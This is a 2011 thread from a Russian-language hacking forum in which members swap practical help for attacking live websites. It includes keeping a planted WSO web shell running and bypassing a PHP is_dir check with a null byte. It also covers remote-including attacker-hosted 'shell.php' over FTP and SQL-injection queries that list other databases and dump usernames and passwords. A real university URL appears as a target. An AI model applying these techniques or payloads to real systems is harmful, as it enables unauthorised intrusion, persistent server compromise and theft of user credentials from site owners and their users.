Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. expupkin

    expupkin New Member

    Joined:
    15 Jan 2010
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    HTML:
    http://engineer.asu.edu/feed-item?page=1'
    Почему же так она не пашет ?
     
  2. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    инъекции там нет. просто кривости настройки.
     
    1 person likes this.
  3. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    Залил шелл wso, начинаю делать какие-либо действия на шелле (перемещение по папкам, редактирование файлов и пр.) меня выкидывает на страницу ввод пароля(( что можно сделать?
     
  4. Ups

    Ups Member

    Joined:
    11 Apr 2011
    Messages:
    113
    Likes Received:
    12
    Reputations:
    0
    Пароль убери.
     
  5. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    залить повторно шелл нет возможности, дыру прикрыли...есть еще варианты?

    p.s оказалось вариант есть через локальный инклуд,
    вылетов нет
     
    #17325 Bramin, 14 Jul 2011
    Last edited: 14 Jul 2011
  6. ysmat

    ysmat Member

    Joined:
    20 Apr 2006
    Messages:
    89
    Likes Received:
    5
    Reputations:
    -3
    можно ли обойти проверку в is_dir
    PHP:
    if (@is_dir ($_COOKIE['abcd'])    {    $config $_COOKIE['abcd'];   }
    то есть проверку на директорию
    допустим нужно задать такой путь
    abcd = /home/www/sell.gif
     
  7. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Возможно.
    Если строка переданная в is_dir, будет наполовину обрезана нулл-байтом, а функция в которую она будет помещена, не будет его считать(Или он после будет убираться) то возможно вставить любой путь.
    Code:
    /home/www/%00sell.gif
    Ну и ещё один вариант:
    Если переменная далее будет помещена в функцию, не добавляя к ней ничего в начале(Возможно и добавляя, зависит от кода), и добавляя префикс в конце, а функция будет наподобие той, которая работает с файлами, то возможно будет передать удалённую директорию, например по протоколу FTP:
    PHP:
    $_COOKIE['abcd'] = 'ftp://10.0.0.1/';
    //-----------
    if (@is_dir ($_COOKIE['abcd'])
    {
    include(
    $_COOKIE['abcd'].'shell.php');//Возможны и другие функции, будет лучше если приведёшь полный код
    //Ну разумеется на настройки php.ini тоже следует обратить внимание
    }
    Даже если в данной ситуации путь будет неизвестен, то будет возможно запрограммировать сервер что бы передавал нужный ко по любому запросу.
     
    #17327 randman, 14 Jul 2011
    Last edited: 14 Jul 2011
  8. ysmat

    ysmat Member

    Joined:
    20 Apr 2006
    Messages:
    89
    Likes Received:
    5
    Reputations:
    -3
    продолжение кода
    PHP:
    ROOT_DIR // усатановачный путь скрипта
    $tpl = new dle_template ( ); // не совсем понимаю что это $tpl не просто переменная а обьект?
    $tpl->dir ROOT_DIR '/templates/' $config// какое-то хитрое обращение к нему вроде бы полность собираеться путь
    include_once $tpl->dir '/login.tpl'// собственно сам инклюд
     
  9. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Безнадёжная ситуация, но не совсем :D
    1. Если у вас есть доступ у одному каталогу на сервере, и этот скрипт тоже туда имеет доступ, то можно туда залить файл login.tpl, а тут его проинклудить(Даже если там нет прав на выполнение, и файлы обрезаны .htaccess). - Это различные файлообменники, uploader'ы и т. д.

    2. Зарегистрировать себе сайт на этом-же хостинге(и сервере), в каталоге /tmp или любом другом, который доступен для всех создать произвольную папку и файл login.tpl, и в переменную $_COOKIE['abcd'] подставить путь к нему, относительно данного сервера.


    Но если это не весь код, а просто участки кода из DLE:
    PHP:
    if ($category_skin != "") {



        
    $category_skin trimtotranslit($category_skinfalsefalse) );



        if (
    $category_skin != '' AND @is_dir ROOT_DIR '/templates/' $category_skin )) {

            
    $config['skin'] = $category_skin;

        }

    } elseif (isset ( 
    $_REQUEST['action_skin_change'] )) {

        

        
    $_REQUEST['skin_name'] = trimtotranslit($_REQUEST['skin_name'], falsefalse) );

        echo 
    "!".$_REQUEST['skin_name'];

        if (
    $_REQUEST['skin_name'] != '' AND @is_dir ROOT_DIR '/templates/' $_REQUEST['skin_name'] ) ) {

            
    $config['skin'] = $_REQUEST['skin_name'];

            
    set_cookie "dle_skin"$_REQUEST['skin_name'], 365 );

        }

    } elseif (isset ( 
    $_COOKIE['dle_skin'] ) ) {



        
    $_COOKIE['dle_skin'] = trimtotranslit($_COOKIE['dle_skin'], falsefalse) );



        if (
    $_COOKIE['dle_skin'] != '' AND @is_dir ROOT_DIR '/templates/' $_COOKIE['dle_skin'] )) {

            
    $config['skin'] = $_COOKIE['dle_skin'];

        }
    }
    PHP:
    function totranslit($var$lower true$punkt true) {

        global 
    $langtranslit;

        if ( 
    is_array($var) ) return "";



        if (!
    is_array $langtranslit ) OR !count$langtranslit ) ) {



            
    $langtranslit = array(

            
    'а' => 'a''б' => 'b''в' => 'v',

            
    'г' => 'g''д' => 'd''е' => 'e',

            
    'ё' => 'e''ж' => 'zh''з' => 'z',

            
    'и' => 'i''й' => 'y''к' => 'k',

            
    'л' => 'l''м' => 'm''н' => 'n',

            
    'о' => 'o''п' => 'p''р' => 'r',

            
    'с' => 's''т' => 't''у' => 'u',

            
    'ф' => 'f''х' => 'h''ц' => 'c',

            
    'ч' => 'ch''ш' => 'sh''щ' => 'sch',

            
    'ь' => '''ы' => 'y''ъ' => '',

            
    'э' => 'e''ю' => 'yu''я' => 'ya',

            
    "ї" => "yi""є" => "ye",

            

            
    'А' => 'A''Б' => 'B''В' => 'V',

            
    'Г' => 'G''Д' => 'D''Е' => 'E',

            
    'Ё' => 'E''Ж' => 'Zh''З' => 'Z',

            
    'И' => 'I''Й' => 'Y''К' => 'K',

            
    'Л' => 'L''М' => 'M''Н' => 'N',

            
    'О' => 'O''П' => 'P''Р' => 'R',

            
    'С' => 'S''Т' => 'T''У' => 'U',

            
    'Ф' => 'F''Х' => 'H''Ц' => 'C',

            
    'Ч' => 'Ch''Ш' => 'Sh''Щ' => 'Sch',

            
    'Ь' => '''Ы' => 'Y''Ъ' => '',

            
    'Э' => 'E''Ю' => 'Yu''Я' => 'Ya',

            
    "Ї" => "yi""Є" => "ye",

            );



        }

        

        
    $var trimstrip_tags$var ) );

        
    $var preg_replace"/\s+/ms""-"$var );



        
    $var strtr($var$langtranslit);



        if ( 
    $punkt $var preg_replace"/[^a-z0-9\_\-.]+/mi"""$var );

        else 
    $var preg_replace"/[^a-z0-9\_\-]+/mi"""$var );



        
    $var preg_replace'#[\-]+#i''-'$var );



        if ( 
    $lower $var strtolower$var );



        
    $var str_ireplace".php"""$var );

        
    $var str_ireplace".php"".ppp"$var );



        if( 
    strlen$var ) > 200 ) {

            

            
    $var substr$var0200 );

            

            if( (
    $temp_max strrpos$var'-' )) ) $var substr$var0$temp_max );

        

        }

        

        return 
    $var;

    }
    Там нет уязвимостей, поскольку функция totranslit всё надёжно вырезает.
     
    #17329 randman, 15 Jul 2011
    Last edited: 15 Jul 2011
  10. ysmat

    ysmat Member

    Joined:
    20 Apr 2006
    Messages:
    89
    Likes Received:
    5
    Reputations:
    -3
    в моей версии в init.php totranslit не вызываеться
    по факту все спец символы проходят
    http://forum.antichat.ru/threadnav52195-8-10.html
    проблема только в @is_dir
     
  11. SergioRezza

    SergioRezza Member

    Joined:
    9 Jun 2011
    Messages:
    81
    Likes Received:
    7
    Reputations:
    5
    есть sql-inj
    у меня есть доступ к определённой базе sql, но на сервере есть ещё базы, могу ли я каким-нибудь образом получить к ним доступ? (знаю названия таблиц и колонок)
     
  12. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Нет.
     
    _________________________
  13. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Если конечно данного кода там тоже нет(Поставлен print вместо die):
    PHP:
        $url html_entity_decodeurldecode$_SERVER['QUERY_STRING'] ) );

        
    $url str_replace"\\""/"$url );

        

        if( 
    $url ) {

            

            if( (
    strpos$url'<' ) !== false) || (strpos$url'>' ) !== false) || (strpos$url'"' ) !== false) || (strpos$url'./' ) !== false) ||  (strpos$url'../' ) !== false) ||(strpos$url'\'' ) !== false) || (strpos$url'.php' ) !== false) ) {

                if( 
    $_GET['do'] != "search" or $_GET['subaction'] != "search" ) print( "Hacking attempt!" );

            }

        

        }

        

        
    $url html_entity_decodeurldecode$_SERVER['REQUEST_URI'] ) );

        
    $url str_replace"\\""/"$url );

        

        if( 
    $url ) {

            

            if( (
    strpos$url'<' ) !== false) || (strpos$url'>' ) !== false) || (strpos$url'"' ) !== false) || (strpos$url'\'' ) !== false) ) {

                if( 
    $_GET['do'] != "search" or $_GET['subaction'] != "search" ) print( "Hacking attempt!" );

            

            }

        

        }



    И соблюдены пункт 1 или 2, или есть шелл на соседе(Или можно создать произвольный файл тут, или в темпе), то да. Ссылку в ПМ.
     
    #17333 randman, 15 Jul 2011
    Last edited: 15 Jul 2011
  14. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    унаёшь названия других баз:
    Code:
    select schema_name from information_schema.schemata
    далее в запросах указываешь в какой базе находится таблица:
    Code:
    select column_name from schema_name.table_name
     
    1 person likes this.
  15. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    WTF??? o_O

    Code:
    select schema_name from information_schema.tables where table_name = 'blablabla'
     
  16. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    я думаю понятно что это не сам запрос, а конструкция. и что здесь не аргументы, а названия.
    а вот что это такое мне не понятно :confused:
     
    #17336 d1v, 15 Jul 2011
    Last edited: 15 Jul 2011
  17. mega_667

    mega_667 Banned

    Joined:
    3 Jul 2011
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Ребята, подскажите PLZ .... есть сайт с SQL inject. .... таблицы нашёл ..... поля в нужных таблицах тож нашёл ..... но при попытке вытащить нужную инфу из таблицы вылетает такого рода ошибка - "Table '*******.members' doesn't exist" ..... Как я понял таблица находится в др базе ..... если в запросе укзываю блаблабла from localhost.members , то вылетает такая ошибка - "SELECT command denied to user '*******'@'localhost' for table 'members'" ..... как выйти из положения ? если выход есть ..... заранее спасибо !
     
  18. [Gold]Shell

    [Gold]Shell Banned

    Joined:
    4 Jul 2011
    Messages:
    2
    Likes Received:
    1
    Reputations:
    0
    Не хватает прав для выполнения запроса.
     
  19. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Узнаешь в какой базе находится таблица. :)
     
  20. Фараон

    Фараон коКотэ Of Antichat

    Joined:
    7 Nov 2010
    Messages:
    153
    Likes Received:
    105
    Reputations:
    83
    лол что?
    1. выполняй "union select database()";
    2. потом "union select concat_ws(0x3a,username,password) from REZULTAT_PERVOGO_ZAPROSA.members limit 0,1";
    3. Profit!
     
Thread Status:
Not open for further replies.